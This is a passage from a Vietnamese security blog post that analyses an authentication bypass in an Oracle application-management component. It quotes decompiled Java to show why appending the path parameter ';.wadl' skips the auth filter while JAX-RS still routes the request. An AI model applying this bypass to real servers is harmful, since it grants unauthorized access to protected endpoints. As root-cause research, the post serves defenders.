r&#7857;ng t&#225;c gi&#7843; c&#361;ng &#273;&#227; gi&#7843;i th&#237;ch kh&#225; chi ti&#7871;t nh&#432;ng m&#236;nh th&#7845;y c&#243; m&#7897;t v&#224;i th&#7913; kh&#225; l&#224; m&#7899;i n&#234;n m&#236;nh c&#243; t&#236;m hi&#7875;u v&#224; vi&#7871;t l&#7841;i m&#7897;t s&#7889; th&#7913; &#273;&#7875; ti&#7879;n note l&#7841;i cho sau n&#224;y.</p><h2><strong>Authentication bypass</strong></h2><p>Theo nh&#432; blog c&#7911;a searchlight &#273;&#7873; c&#7853;p, bug authen bypass n&#7857;m &#7903; class <strong>oracle.wsm.agent.handler.servlet.SecurityFilter</strong> - &#273;&#226;y c&#361;ng l&#224; class th&#7921;c hi&#7879;n vi&#7879;c check authen cho c&#225;c endpoint c&#7911;a app <strong>applicationmanagement</strong>.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://vred.mbbank.com.vn/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading MB VRED's Substack! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><pre><code><code>public final class SecurityFilter extends AbstractRESTFilter implements Filter {
    static {
        LOGGER = Logger.getLogger(CLASSNAME);
        WADL_PATTERN = Pattern.compile(&#8221;\\.[wW][aA][dD][lL](.)*\\z&#8221;); // [1]
    } 
    public void doFilter(ServletRequest request, ServletResponse response, final FilterChain chain) throws IOException, ServletException {
        LOGGER.entering(CLASSNAME, &#8220;doFilter&#8221;, new Object[]{request, response, chain});
        final HttpServletRequest httpRequest = (HttpServletRequest)request;
        HttpServletResponse httpResponse = (HttpServletResponse)response;
        final HttpServletResponse httpResponseWrapped = new WsmHttpResponseWrapper((HttpServletResponse)response);
        httpRequest.setAttribute(&#8221;request.processed.by.wsm.security.filter&#8221;, Boolean.valueOf(&#8221;true&#8221;));
        if (this.isCORSPreflightRequest(httpRequest)) { 
            chain.doFilter(httpRequest, httpResponse);
        } else {
            if (WADL_PATTERN.matcher(httpRequest.getRequestURI().trim()).find()) { // [2]
                chain.doFilter(httpRequest, httpResponse);
            } else {
                // auth check
            }
        }
    }
</code></code></pre><p>T&#7841;i [1] c&#243; th&#7875; th&#7845;y r&#245; &#253; &#273;&#7891; c&#7911;a dev khi mu&#7889;n whitelist c&#225;c request WADL b&#7857;ng c&#225;ch s&#7917; d&#7909;ng pattern t&#236;m ki&#7871;m c&#225;c string c&#243; d&#7841;ng <code>.wadl</code>, sau &#273;&#243; t&#7841;i [2] cho ph&#233;p ch&#250;ng &#273;&#432;&#7907;c x&#7917; l&#253; m&#224; kh&#244;ng c&#7847;n ki&#7875;m tra quy&#7873;n truy c&#7853;p b&#7857;ng c&#225;ch ki&#7875;m tra uri c&#7911;a request c&#243; ch&#7913;a string <code>.wadl</code> kh&#244;ng n&#7871;u c&#243; s&#7869; cho ph&#233;p request &#273;&#432;&#7907;c th&#244;ng qua. &#8594; Classic auth bypass:v</p><p>B&#224;i to&#225;n m&#7899;i l&#224; l&#224;m sao &#273;&#7875; access &#273;&#432;&#7907;c api khi mu&#7889;n ch&#232;n string <code>.wadl</code>. Method <code>getRequestURI()</code> s&#7869; kh&#244;ng l&#7845;y query string c&#7911;a url cho n&#234;n ta c&#361;ng kh&#244;ng th&#7875; add th&#234;m GET param nh&#432; <code>?a=.wadl</code> &#273;&#432;&#7907;c.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Paho!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f83c7a8-a209-4c98-b3f4-2844dd8be73c_1097x473.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Paho!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f83c7a8-a209-4c98-b3f4-2844dd8be73c_1097x473.png 424w, https://substackcdn.com/image/fetch/$s_!Paho!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f83c7a8-a209-4c98-b3f4-2844dd8be73c_1097x473.png 848w, https://substackcdn.com/image/fetch/$s_!Paho!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f83c7a8-a209-4c98-b3f4-2844dd8be73c_1097x473.png 1272w, https://substackcdn.com/image/fetch/$s_!Paho!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f83c7a8-a209-4c98-b3f4-2844dd8be73c_1097x473.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Paho!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f83c7a8-a209-4c98-b3f4-2844dd8be73c_1097x473.png" width="1097" height="473" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3f83c7a8-a209-4c98-b3f4-2844dd8be73c_1097x473.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:473,&quot;width&quot;:1097,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Paho!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f83c7a8-a209-4c98-b3f4-2844dd8be73c_1097x473.png 424w, https://substackcdn.com/image/fetch/$s_!Paho!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f83c7a8-a209-4c98-b3f4-2844dd8be73c_1097x473.png 848w, https://substackcdn.com/image/fetch/$s_!Paho!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f83c7a8-a209-4c98-b3f4-2844dd8be73c_1097x473.png 1272w, https://substackcdn.com/image/fetch/$s_!Paho!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f83c7a8-a209-4c98-b3f4-2844dd8be73c_1097x473.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>&#7902; b&#224;i c&#7911;a Searchlight h&#7885; c&#243; &#273;&#7875; c&#7853;p t&#7899;i vi&#7879;c inject path parameter <code>;.wadl</code> &#273;&#7875; exploit bug n&#224;y. Khi &#273;&#7885;c xong th&#236; m&#236;nh c&#243; th&#7855;c m&#7855;c l&#224; t&#7841;i sao l&#7841;i c&#243; th&#7875; d&#249;ng &#273;&#432;&#7907;c nh&#432; v&#7853;y:v. T&#7841;i sao <code>/path;.wadl</code> l&#7841;i &#259;n, m&#224; ko ph&#7843;i l&#224; <code>/path.wadl</code>?</p><h3><strong>Why ;.wadl?</strong></h3><p>Trong khi &#273;i t&#236;m hi&#7875;u v&#7873; c&#225;ch <code>getRequestURI()</code> return th&#236; m&#236;nh t&#236;m &#273;&#432;&#7907;c c&#226;u tr&#7843; l&#7901;i &#7903; &#273;&#226;y <a href="https://stackoverflow.com/questions/4931323/whats-the-difference-between-getrequesturi-and-getpathinfo-methods-in-httpservl">stackoverflow</a></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!axJj!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a13050a-1aaf-4ed1-9ab5-8ef0374b2e41_751x452.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!axJj!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a13050a-1aaf-4ed1-9ab5-8ef0374b2e41_751x452.png 424w, https://substackcdn.com/image/fetch/$s_!axJj!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a13050a-1aaf-4ed1-9ab5-8ef0374b2e41_751x452.png 848w, https://substackcdn.com/image/fetch/$s_!axJj!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a13050a-1aaf-4ed1-9ab5-8ef0374b2e41_751x452.png 1272w, https://substackcdn.com/image/fetch/$s_!axJj!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a13050a-1aaf-4ed1-9ab5-8ef0374b2e41_751x452.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!axJj!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a13050a-1aaf-4ed1-9ab5-8ef0374b2e41_751x452.png" width="751" height="452" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/1a13050a-1aaf-4ed1-9ab5-8ef0374b2e41_751x452.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:452,&quot;width&quot;:751,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!axJj!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a13050a-1aaf-4ed1-9ab5-8ef0374b2e41_751x452.png 424w, https://substackcdn.com/image/fetch/$s_!axJj!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a13050a-1aaf-4ed1-9ab5-8ef0374b2e41_751x452.png 848w, https://substackcdn.com/image/fetch/$s_!axJj!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a13050a-1aaf-4ed1-9ab5-8ef0374b2e41_751x452.png 1272w, https://substackcdn.com/image/fetch/$s_!axJj!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a13050a-1aaf-4ed1-9ab5-8ef0374b2e41_751x452.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><code>getRequestURI()</code> c&#243; nh&#7853;n c&#7843; ph&#7847;n path parameter (ph&#7847;n <strong>;jessionid=S+ID</strong>). Sau khi debug th&#236; m&#236;nh c&#361;ng ph&#225;t hi&#7879;n r&#7857;ng JAX-RS khi routing l&#7841;i ignore ph&#7847;n path parameter.</p><p>C&#7909; th&#7875; method <code>RoutingStage._apply()</code> s&#7869; l&#224; n&#417;i th&#7921;c hi&#7879;n nhi&#7879;m v&#7909; routing:</p><pre><code><code>private RoutingResult _apply(RequestProcessingContext request, Router router) {
        Router.Continuation continuation = router.apply(request);
        Iterator var4 = continuation.next().iterator();

        RoutingResult result;
        do {
            if (!var4.hasNext()) {
                Endpoint endpoint = Routers.extractEndpoint(router);
                if (endpoint != null) {
                    return RoutingStage.RoutingResult.from(continuation.requestContext(), endpoint);
                }

                return RoutingStage.RoutingResult.from(continuation.requestContext());
            }

            Router child = (Router)var4.next();
            result = this._apply(continuation.requestContext(), child);// [3]
        } while(result.endpoint == null);

        return result;
    }
</code></code></pre><p>t&#7841;i &#273;&#226;y <code>_apply()</code> s&#7917; d&#7909;ng thu&#7853;t to&#225;n DFS duy&#7879;t t&#7915;ng router &#273;&#7875; t&#236;m ki&#7871;m endpoint ph&#249; h&#7907;p</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!o1-0!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6abf299-f355-4ef5-93f1-facdbc124401_608x399.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!o1-0!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6abf299-f355-4ef5-93f1-facdbc124401_608x399.png 424w, https://substackcdn.com/image/fetch/$s_!o1-0!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6abf299-f355-4ef5-93f1-facdbc124401_608x399.png 848w, https://substackcdn.com/image/fetch/$s_!o1-0!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6abf299-f355-4ef5-93f1-facdbc124401_608x399.png 1272w, https://substackcdn.com/image/fetch/$s_!o1-0!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6abf299-f355-4ef5-93f1-facdbc124401_608x399.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!o1-0!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6abf299-f355-4ef5-93f1-facdbc124401_608x399.png" width="608" height="399" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a6abf299-f355-4ef5-93f1-facdbc124401_608x399.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:399,&quot;width&quot;:608,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!o1-0!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6abf299-f355-4ef5-93f1-facdbc124401_608x399.png 424w, https://substackcdn.com/image/fetch/$s_!o1-0!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6abf299-f355-4ef5-93f1-facdbc124401_608x399.png 848w, https://substackcdn.com/image/fetch/$s_!o1-0!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6abf299-f355-4ef5-93f1-facdbc124401_608x399.png 1272w, https://substackcdn.com/image/fetch/$s_!o1-0!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6abf299-f355-4ef5-93f1-facdbc124401_608x399.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>[3] s&#7869; g&#7885;i &#273;&#7879; quy <code>_apply()</code> l&#234;n t&#7915;ng child router, n&#7871;u kh&#244;ng child n&#224;o match th&#236; return null</p><p>t&#7841;i router <code>MatchResultInitializerRouter</code> s&#7869; th&#7921;c hi&#7879;n kh&#7903;i t&#7841;o MatchResult &#273;&#7875; so s&#225;nh v&#7899;i c&#225;c path pattern l&#250;c sau:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!4u16!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2de859ce-09bc-4a2e-bea2-c68973246ad7_1075x383.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!4u16!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2de859ce-09bc-4a2e-bea2-c68973246ad7_1075x383.png 424w, https://substackcdn.com/image/fetch/$s_!4u16!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2de859ce-09bc-4a2e-bea2-c68973246ad7_1075x383.png 848w, https://substackcdn.com/image/fetch/$s_!4u16!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2de859ce-09bc-4a2e-bea2-c68973246ad7_1075x383.png 1272w, https://substackcdn.com/image/fetch/$s_!4u16!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2de859ce-09bc-4a2e-bea2-c68973246ad7_1075x383.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!4u16!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2de859ce-09bc-4a2e-bea2-c68973246ad7_1075x383.png" width="1075" height="383" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2de859ce-09bc-4a2e-bea2-c68973246ad7_1075x383.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:383,&quot;width&quot;:1075,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!4u16!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2de859ce-09bc-4a2e-bea2-c68973246ad7_1075x383.png 424w, https://substackcdn.com/image/fetch/$s_!4u16!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2de859ce-09bc-4a2e-bea2-c68973246ad7_1075x383.png 848w, https://substackcdn.com/image/fetch/$s_!4u16!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2de859ce-09bc-4a2e-bea2-c68973246ad7_1075x383.png 1272w, https://substackcdn.com/image/fetch/$s_!4u16!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2de859ce-09bc-4a2e-bea2-c68973246ad7_1075x383.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>MatchResult khi kh&#7903;i t&#7841;o s&#7869; &#273;&#432;&#7907;c strip &#273;i MatrixParam parameter l&#224; ph&#7847;n b&#7855;t &#273;&#7847;u b&#7857;ng d&#7845;u <code>;</code> trong m&#7895;i segment URL hay ch&#237;nh l&#224; path parameter <strong>;.wadl</strong>:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!CVmT!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ba2350f-8e04-4652-ad8e-9a5950984529_899x450.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!CVmT!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ba2350f-8e04-4652-ad8e-9a5950984529_899x450.png 424w, https://substackcdn.com/image/fetch/$s_!CVmT!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ba2350f-8e04-4652-ad8e-9a5950984529_899x450.png 848w, https://substackcdn.com/image/fetch/$s_!CVmT!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ba2350f-8e04-4652-ad8e-9a5950984529_899x450.png 1272w, https://substackcdn.com/image/fetch/$s_!CVmT!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ba2350f-8e04-4652-ad8e-9a5950984529_899x450.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!CVmT!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ba2350f-8e04-4652-ad8e-9a5950984529_899x450.png" width="899" height="450" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3ba2350f-8e04-4652-ad8e-9a5950984529_899x450.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:450,&quot;width&quot;:899,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" 